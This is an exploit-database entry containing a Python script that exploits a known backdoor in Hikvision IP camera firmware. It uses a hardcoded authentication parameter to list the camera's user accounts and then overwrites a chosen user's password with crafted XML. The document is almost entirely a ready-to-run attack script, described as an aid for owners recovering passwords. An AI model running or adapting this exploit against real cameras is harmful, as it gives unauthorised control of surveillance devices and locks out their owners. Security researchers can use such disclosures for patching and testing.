# Exploit Title: Hikvision IP Camera versions 5.2.0 - 5.3.9 (Builds: 140721 - 170109) Backdoor
# Date: 15-03-2018
# Vendor Homepage: https://www.hikvision.com/en/
# Exploit Author: Matamorphosis
# Category: Web Apps
# Description: Exploits a backdoor in Hikvision camera firmware versions 5.2.0 - 5.3.9 (Builds: 140721 - 170109), deployed between 2014 and 2016, to assist the owner recover their password.
# Vulnerability Exploited: ICSA-17-124-01 - https://seclists.org/fulldisclosure/2017/Sep/23
 
#!/usr/bin/env python
# Usage: python exploit.py [IP Address] [Port] [SSL (Y/N)]
 
import requests
import re
import sys
 
# BASIC INFO
 
newPass = "@Dm1N1$Tr80R" # EXAMPLE OF A PASSWORD COMPLIANT WITH LATER FIRMWARES REQUIRING AT LEAST 2 UPPERCASE, 2 lowercase, and 2 SPECIAL CHARACTERS.
BackdoorAuthArg = "auth=YWRtaW46MTEK"; # AUTHENTICATION KEY.
ip = ""
port = 0
SSL = ""
userID = ""
userName = ""
 
def Usage():
    print("[i] Usage: python exploit.py [IP Address] [Port] [SSL (Y/N)]")
 
try:
    ip = sys.argv[1]
    SSL = sys.argv[3]
 
except:
    print("[-] One or more of the arguments is missing.")
    Usage()
    sys.exit()
 
ipmatch = re.search(r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b", ip)          # IP ADDRESS REGULAR EXPRESSION.
 
if not ipmatch:
    print("[-] The entered ip address " + ip + " is not in the correct format.")
    Usage()
    sys.exit()
 
try:
    port = int(sys.argv[2])
 
except:
    print("[-] The entered port " + sys.argv[2] + " is not a number.")
    Usage()
    sys.exit()
 
if (port == 0) or (port > 65535):
    print("[-] The entered port " + sys.argv[2] + " is not a valid port number.")
    Usage()
    sys.exit()
 
if SSL == "Y":
    protocol = "https"
 
else:
    protocol = "http"
 
URLBase = protocol + "://" + ip + ":" + str(port) + "/"                     # URL BASE FOR FUTURE REQUESTS.
URLDownload = URLBase + "Security/users?" + BackdoorAuthArg                 # DOWNLOAD REQUEST.
 
print("[+] Getting User List.")
 
DownloadResponse = requests.get(URLDownload).text
 
for line in DownloadResponse:                                               # RETRIEVING USER LIST
    useridmatch = re.search(r"<id>(.*)<\/id>", line)                        # CHECK FOR USER ID.
    usernamematch = re.search(r"<userName>(.*)<\/userName>", line)          # CHECK FOR USER NAME.
 
    if useridmatch:
        userID = useridmatch.group(1)
        print("[+] User ID: " + userID)
 
    if usernamematch:
        userName = usernamematch.group(1)
        print("[+] Username: " + userName)
 
userID = raw_input("[?] Which User ID would you like to use? ")
userName = raw_input("[?] Which Username would you like to use? ")
 
print("[+] Using the User " + userName + ".")
 
userXML = ( '<User version=""1.0"" xmlns=""https://www.hikvision.com/ver10/XMLSchema"">\r\n<id>' + userID + '</id>\r\n<userName>' + userName + '</userName>\r\n<password>' + newPass + '</password>\r\n</User>' ) # OUR CRAFTED XML CONFIGURATION FILE
 
#print(userXML)
 
URLUpload = URLBase + "Security/users/" + userID + "?" + BackdoorAuthArg    # UPLOAD REQUEST.
 
print("[+] Changing Password now.")
 
print requests.put(URLUpload, data=userXML).text                            # UPLOAD REQUEST, SENDING THE PAYLOAD.
 
print("[+] Complete. Please try logging in with these credentials. Username: " + userName + "Password: " + newPass)